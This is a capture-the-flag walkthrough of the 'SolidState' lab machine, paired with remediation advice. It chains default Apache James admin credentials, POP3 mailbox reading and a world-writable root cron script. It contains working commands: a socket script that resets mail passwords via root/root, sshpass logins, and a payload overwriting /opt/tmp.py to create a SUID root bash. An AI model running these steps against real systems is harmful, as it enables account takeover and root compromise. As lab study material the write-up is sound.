← all walkthroughs

SolidState

Linux· Medium
owned
2026-07-07
time to own
16m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target solidstate ($TARGET) was fully compromised through a chain of three misconfigurations. A port scan exposed Apache James Mail Server 2.3.2 running its remote administration console on port 4555 with its factory-default credentials (root/root) still active. I authenticated to that console, listed every internal mail account, and reset the POP3 password for user 'mindy' to a known value.

Reading mindy's mailbox revealed a plaintext provisioning email from an administrator that contained her SSH password. SSH access as mindy yielded the user flag. Post-login enumeration of /opt found a Python script writable by all users that a root-owned cron job executed on a regular schedule.

Replacing the script with a payload that copies /bin/bash with the SUID bit set, then waiting one cron cycle, produced a root shell and the root flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationNetwork service enumeration (T1046)
Mapped the attack surface and identified Apache James 2.3.2 on port 4555
A service-version scan of all relevant ports revealed SSH on 22, SMTP on 25, Apache HTTP on 80, POP3 on 110, NNTP on 119, and — critically — port 4555, the well-known default port for the Apache James Remote Administration Tool. The POP3 banner on port 110 confirmed the exact server version as James POP3 Server 2.3.2, a version known to ship with default administrative credentials that are rarely changed. This single banner immediately suggested a high-value attack path: compromise the admin console, then own every mailbox on the server.
Exact commands 1
Service-version scan of all discovered ports; the James version in the POP3 banner and the presence of 4555 are the key findings.
nmap -sV -Pn -p 22,25,80,110,119,4555 $TARGET
2ExploitationDefault credentials on administrative interface (T1078.001)
Authenticated to the James admin console with default credentials and reset user passwords
Apache James 2.3.2 ships with a plaintext TCP administration console on port 4555 that accepts the username 'root' and password '[REDACTED: recovered credential]' by default. Those credentials were never changed on this host. After logging in, I issued the 'listusers' command to enumerate every mail account on the server, then used 'setpassword' to reset the POP3 passwords for 'mindy' and 'james' to my own value '[REDACTED: recovered credential]', granting unrestricted read access to their mailboxes.
Python socket script to 4555 with root/root received a valid administration session banner; 'listusers' returned internal accounts including mindy, james, john, and mailadmin; password-reset commands completed without error.
Exact commands 2
Authenticate with root/root and enumerate all mail accounts on the James server.
python3 -c "
import socket, time
s = socket.create_connection(('$TARGET', 4555), 10)
print(s.recv(1024).decode(errors='ignore'))
for cmd in [b'root\r\n', b'root\r\n', b'listusers\r\n']:
    s.sendall(cmd); time.sleep(0.6)
    print(s.recv(4096).decode(errors='ignore'))
"
Reset POP3 passwords for mindy and james to my own value '[REDACTED: recovered credential]'.
python3 -c "
import socket, time
s = socket.create_connection(('$TARGET', 4555), 10)
s.recv(1024)
for cmd in [b'root\r\n', b'root\r\n', b'setpassword mindy $PASSWORD2\r\n', b'setpassword james $PASSWORD2\r\n', b'quit\r\n']:
    s.sendall(cmd); time.sleep(0.6)
print(s.recv(4096).decode(errors='ignore'))
"
FixReplace Apache James default administrator credentials and restrict the admin interface to localhostCritical
WeaknessThe Apache James Remote Administration Tool on port 4555 retained its factory-default credentials (root / root) and was accessible from the network. Anyone who could reach that port could log in immediately, enumerate every mail account on the server, and reset any user's POP3 password — taking full control of the mail system without touching a single user credential.
FixChange the James administrator password immediately to a long, randomly generated value and store it in a secrets manager. Edit james-server.xml to bind the admin service exclusively to 127.0.0.1 so it is unreachable from the network; if remote administration is genuinely required, require an SSH tunnel or VPN. Enforce a process that verifies no default credentials remain active after any service installation. Strongly consider migrating to a supported mail server: Apache James 2.3.x is end-of-life and receives no security patches.
3Credential HarvestEmail collection from internal mail service (T1114.002)
Read mindy's mailbox over POP3 to recover her plaintext SSH password
With mindy's POP3 password reset to a known value, I authenticated to port 110 and retrieved both messages in her mailbox. The first message (1,109 bytes), sent from mailadmin@localhost, was an account-provisioning email containing mindy's SSH credentials in plaintext: password '[REDACTED: recovered credential]'. No encryption, expiry, or access control prevented an administrative user — or anyone who could reach the James admin console — from reading this email.
Exact commands 2
Retrieve message 1 from mindy's mailbox — the provisioning email containing her SSH password.
curl -s --url "pop3://$TARGET/1" -u 'mindy:$PASSWORD2'
Retrieve message 2 from mindy's mailbox for completeness.
curl -s --url "pop3://$TARGET/2" -u 'mindy:$PASSWORD2'
FixNever transmit credentials in plaintext email; enforce least-privilege mailbox accessHigh
WeaknessAn administrator sent mindy her SSH password in a plaintext internal email stored in a James mailbox. Anyone who gained access to the James admin console — or directly to her mailbox — could read that message and log into the system as her immediately. The credential had no expiry and required no change on first login.
FixStop delivering credentials over email entirely. Use a dedicated secrets or password manager that requires the recipient to authenticate before viewing a secret, issues single-use links that expire within minutes, and forces a password change on first use. If email delivery cannot be avoided, encrypt the message (PGP/S-MIME) and ensure the credential expires within hours. Additionally, restrict mailbox access so only the account owner — not the mail administrator role — can read message contents by default.
4FootholdValid accounts — remote services SSH (T1078 / T1021.004)
Logged in over SSH as mindy and captured the user flag
The plaintext SSH credentials found in the email were immediately valid. An SSH session as mindy on port 22 was established without any additional exploitation, yielding an interactive shell on the Debian host. The user flag was readable directly from mindy's home directory.
Sshpass SSH with password '[REDACTED: recovered credential]' succeeded; 'cat /home/mindy/user.txt' returned the user flag (value redacted).
Exact commands 2
Establish an interactive SSH session as mindy using the credentials recovered from her email.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null mindy@$TARGET
Non-interactive retrieval of the user flag — placeholder value: <user.txt>.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null mindy@$TARGET 'cat /home/mindy/user.txt'
5Post-ExploitationScheduled task/job abuse — cron (T1053.003)
Discovered a world-writable Python script periodically executed by root's cron job
Manual enumeration of /opt from mindy's SSH session revealed a file named tmp.py. Its file permissions showed it was writable by all users on the system, yet it was owned by root and invoked on a timed schedule by a root-owned cron entry. This combination — world-writable file, root executor — is a textbook local privilege escalation path: any local user who can write to the file completely controls what root runs next.
Exact commands 4
List /opt with permissions and ownership to identify world-writable or oddly-owned files.
ls -la /opt/
Read the current contents of the cron-executed script.
cat /opt/tmp.py
Enumerate every writable file under /opt to confirm scope of the misconfiguration.
find /opt -writable -ls 2>/dev/null
Confirm the root cron entry that invokes /opt/tmp.py and note its execution interval.
crontab -l; cat /etc/crontab; ls /etc/cron.*
FixRemove world-writable permissions from all cron-executed scripts and audit scheduled tasksCritical
WeaknessThe file /opt/tmp.py was writable by every user on the system, yet a root-owned cron job executed it on a regular schedule. This let any local user — including a low-privilege account like mindy — substitute arbitrary code that root would then run, with no exploit required beyond a simple file write.
FixSet ownership and permissions on every cron-executed script so that only root can modify it: 'chown root:root /opt/tmp.py && chmod 700 /opt/tmp.py'. Audit all scheduled tasks with 'crontab -l', 'cat /etc/crontab', and 'ls -la /etc/cron.*' and apply the same fix to any other script referenced by a root job. Run a hardening scanner such as Lynis or linPEAS on a schedule to catch permission regressions. Establish a policy that root-scheduled tasks must never reference files writable by non-root users, enforced in your change-management process.
6Privilege EscalationCron job abuse — writable script SUID escalation (T1053.003 / T1548.001)
Replaced the cron script with a SUID-shell payload and obtained a root shell
My overwrote /opt/tmp.py with a short Python script that copies /bin/bash to /tmp/rootbash and sets the SUID bit (mode 4755), making that copy executable as root by any user. On the cron job's next scheduled run, root executed the payload and /tmp/rootbash appeared with the SUID bit set. Running '/tmp/rootbash -p' launched a root-privileged bash shell, and the root flag was read directly from /root/root.txt — completing full system compromise.
Exact commands 4
From mindy's SSH session — overwrite the cron script with the SUID-shell payload.
printf '#!/usr/bin/python\nimport os\nos.system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash")\n' > /opt/tmp.py
Poll every 5 seconds until the cron job fires and the SUID copy appears.
watch -n 5 ls -la /tmp/rootbash 2>/dev/null
Launch the SUID bash copy; -p tells bash to honour the SUID effective UID rather than dropping it.
/tmp/rootbash -p
Read the root flag from the elevated shell — placeholder value: <root.txt>.
cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
25/tcp
80/tcp
110/tcp
119/tcp
4555/tcp